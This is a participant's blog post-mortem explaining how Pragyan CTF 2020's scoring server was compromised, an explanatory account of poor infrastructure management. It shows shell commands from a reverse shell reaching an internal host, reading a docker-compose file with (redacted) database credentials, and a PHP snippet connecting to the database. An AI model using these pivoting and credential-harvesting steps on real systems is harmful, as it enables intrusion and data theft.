How Pragyan CTF 2020 hacked

       

    Description

    image-20200223041326135

    First of all, I hope there is no misunderstanding, I didn’t abused the server.
    During the toss of insomnia, I saw all the flags leaked of the ongoing CTF in CTFTime.
    Using the reverse shell that was left open through the web challenge a few hours ago, I was able to identify all the causes 10 minutes after the server went down.

    It’s not so technical, but I decided to write this down to show explanation for the dumbfounded participants.

    Cause

    The web challenge Brutus has a vulnerability in PHP unserialize.
    And It gives remote code execution RCE Privileges to user.

    img

    This vuln allows us to create a reverse shell, and It doesn’t have a time-out check.
    Even after five hours from solved the problem, the connection was still there.
    Thanks to that, analysis was very comfortable.

    1
    2
    3
    4
    5
    6
    7
    8
    www-data@5841bda2da57:/code$ cat /etc/hosts
    127.0.0.1 localhost
    ::1 localhost ip6-localhost ip6-loopback
    fe00::0 ip6-localnet
    ff00::0 ip6-mcastprefix
    ff02::1 ip6-allnodes
    ff02::2 ip6-allrouters
    172.26.0.4 5841bda2da57

    By the /etc/hosts file allows you to check the internal IP address of the challenge server is 172.26.0.4.
    If not specifically managed, so I can expect the address of the host server is 172.26.0.1 or around that.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    www-data@5841bda2da57:/code$ curl 172.26.0.1
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
    <html>
    <head>
    <title>Index of /</title>
    </head>
    <body>
    <h1>Index of /</h1>
    <table>
    <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">L
    ast modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
    <tr><th colspan="5"><hr></th></tr>
    <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="mellivora/">mellivora/</a></td><td align="right">
    2020-02-21 22:08 </td><td align="right"> - </td><td> </td></tr>
    <tr><th colspan="5"><hr></th></tr>
    </table>
    <address>Apache/2.4.29 (Ubuntu) Server at 172.26.0.1 Port 80</address>
    </body></html>

    It seems that a web server works on 172.26.0.1.

    Here you can see one folder, and you can see that it’s using the Melivora CTF engine through its name and internal files.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    www-data@5841bda2da57:/code$ curl 172.26.0.1/mellivora/
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
    <html>
    <head>
    <title>Index of /mellivora</title>
    </head>
    <body>
    <h1>Index of /mellivora</h1>
    <table>
    <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
    <tr><th colspan="5"><hr></th></tr>
    <tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="Dockerfile">Dockerfile</a></td><td align="right">2020-02-17 12:37 </td><td align="right">720 </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="LICENSE">LICENSE</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> 34K</td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="README.md">README.md</a></td><td align="right">2020-02-17 12:37 </td><td align="right">2.8K</td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="benchmarks.md">benchmarks.md</a></td><td align="right">2020-02-17 12:37 </td><td align="right">6.4K</td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="codeception.yml">codeception.yml</a></td><td align="right">2020-02-17 12:37 </td><td align="right">340 </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="composer.json">composer.json</a></td><td align="right">2020-02-17 12:37 </td><td align="right">696 </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="composer.lock">composer.lock</a></td><td align="right">2020-02-17 12:37 </td><td align="right">106K</td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="docker-compose.dev.yml">docker-compose.dev.yml</a></td><td align="right">2020-02-22 06:35 </td><td align="right">1.1K</td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="docker-compose.test.yml">docker-compose.test.yml</a></td><td align="right">2020-02-17 12:37 </td><td align="right">1.2K</td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="htdocs/">htdocs/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="include/">include/</a></td><td align="right">2020-02-20 13:35 </td><td align="right"> - </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="install/">install/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="rules.txt">rules.txt</a></td><td align="right">2020-02-21 22:08 </td><td align="right">826 </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="tests/">tests/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
    <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="writable/">writable/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
    <tr><th colspan="5"><hr></th></tr>
    </table>
    <address>Apache/2.4.29 (Ubuntu) Server at 172.26.0.1 Port 80</address>
    </body></html>

    Access to the internal folder was possible, of course, but when you crawl and open it in your browser, it looks like this:

    pragyan1

    The github page of the melivora engine can be found, and you can also get a hint from the date of modification, and the file docker-compose.dev.yml contains the credential information of CTF engine.

    Below is the contents of the file docker-compose.dev.yml.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    www-data@5841bda2da57:/code$ curl 172.26.0.1/mellivora/docker-compose.dev.yml
    version: '3'
    services:
    mellivora:
    image: mellivora
    ports:
    - 4000:80
    - 4002:443
    build:
    context: .
    dockerfile: Dockerfile
    environment:
    MELLIVORA_CONFIG_DB_ENGINE: mysql
    MELLIVORA_CONFIG_DB_HOST: db
    MELLIVORA_CONFIG_DB_PORT: 3306
    MELLIVORA_CONFIG_DB_NAME: [redacted]
    MELLIVORA_CONFIG_DB_USER: [redacted]
    MELLIVORA_CONFIG_DB_PASSWORD: [redacted]
    volumes:
    - .:/var/www/mellivora
    - composerdependencies:/var/www/mellivora/include/thirdparty/composer
    links:
    - db
    db:
    image: mysql:5.6
    ports:
    - 13306:3306
    environment:
    MYSQL_DATABASE: [redacted]
    MYSQL_USER: [redacted]
    MYSQL_PASSWORD: [redacted]
    MYSQL_ROOT_PASSWORD: [redacted]
    volumes:
    - dbdata:/var/lib/mysql
    - ./install/sql:/docker-entrypoint-initdb.d
    adminer:
    image: adminer
    restart: always
    ports:
    - 15246:8080
    volumes:
    composerdependencies:
    dbdata:

    CTF service is provided through two containers, mysql:5.6 and melivora, using docker-compose . And since database account credential has been leaked, so we can access to CTF database.

    1
    2
    3
    $con = new mysqli('172.26.0.1','[redacted]','[redacted]','[redacted]');
    $res = $con->query('show databases')->fetch_all();
    var_dump($res);

    Therefore, using the shell of a web challenge to execute php code in this way, all tables and columns(including user credential and flags) in the database could be leaked, and we can drop all databases since we have root privilege (I didn’t test this unnecessarily)

    image-20200223043626647

    In this case, it’s because of incredibly bad management.
    basically, the web services are running on a docker, so there’s no need to install a web server that would be a directory traversal on the host, and to put the contents of the docker stuffs in the webroot.

    img

    I don’t know if it’s true, but there are rumors that the organizer of this CTF hasn’t paid the right amount of money for years. (If you know the truth, please leave a comment.)

    Thank you for reading this post.